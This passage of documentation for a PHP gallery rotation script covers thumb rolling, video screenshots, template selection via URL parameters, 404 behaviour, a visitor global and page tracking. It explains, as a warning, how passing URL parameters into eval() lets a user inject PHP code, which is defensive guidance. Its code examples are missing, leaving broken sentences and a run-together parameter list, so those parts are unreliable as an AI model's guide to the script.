    Note the data-rolling-thumbs-folder='' attribute. The script replaces it with /thumb/user_thumbs/gallery_id/ for the current gallery. **2. if our thumbs are cut from videos** Add it as video_url and enable the Make screenshots option. The script will download the video and make screenshots in the amount specified by How Many Thumbs from each gallery?. Then go to Preload, where you will see the thumbs cut from that video. Mark the thumbs that should be added to rotation and enable Add Unchecked as User Thumbs. The checked thumbs will be added to rotation and stored in the database, while all thumbs will also be saved as User Thumbs on disk only. They can then be used for thumb rolling with the same script shown in point 1. ====== How it works ====== How the template system works, for advanced users. model page /?model_slug=...&force_template=model_galleries Some pages have a default template assigned. For example: category page /?category_id=5 although template is not specified here, the content_list template will be used, but you can also specify your own, for example /?category_id=5&force_template=mytpl Thus, you can generate any URL and any templates using rewrite. Template parsing happens in two steps: first the script macros are replaced, for example , and only then eval is used to execute your PHP code in the template. Be careful with your own PHP code so you do not introduce security holes. For example, suppose you output a URL parameter with and the user passes &var=123. In that case the template receives the literal string 123. If eval() then processes that line, it remains harmless because there is no PHP code in it. Now imagine the user passes not 123 but something like &var= is replaced with that string, and eval would execute it. To prevent this, use the prefixes described in [[new_rotation_templates#tag_prefix]]. For example, outputs “ /? page=... order= (ctr - default, date, duration) force_template slug= slug gallery sponsor_slug= model_slug= search= date_start= , date_end= and predefined dates date_limit=today, yesterday, this_week, this_month
    ====== Content search and 404 ====== In the rotation settings there is an option "URLs with 0 result thumbs return 404 (content_not_found)". Let's say it's turned on. If a user searches on the site and gets 0 results, then strictly speaking the page could return 404. In practice, people usually prefer a normal page saying “nothing was found for your search”, so the script was originally written not to apply this option on search pages (content_search). But if suddenly you need to rewrite this behavior, then you need to use **zero_items_return_404=true** , for example ... ====== SCJ_VISITOR ====== Especially for PHP templates, there is a global variable $GLOBALS['SCJ_VISITOR'] which contains the current user's data, this can be used if you need to change something in the template depending on the surfer's parameters, for example ====== Page track ====== You can track which page traffic comes to and what transitions there are on the site. In Trade - Statistics - Page Track there are 2 columns: Inbound Views (if the ref is not our site) and Local Views (if the ref is our site) There are 2 options 1. &page_track=... in the URL 2. in the template tag For example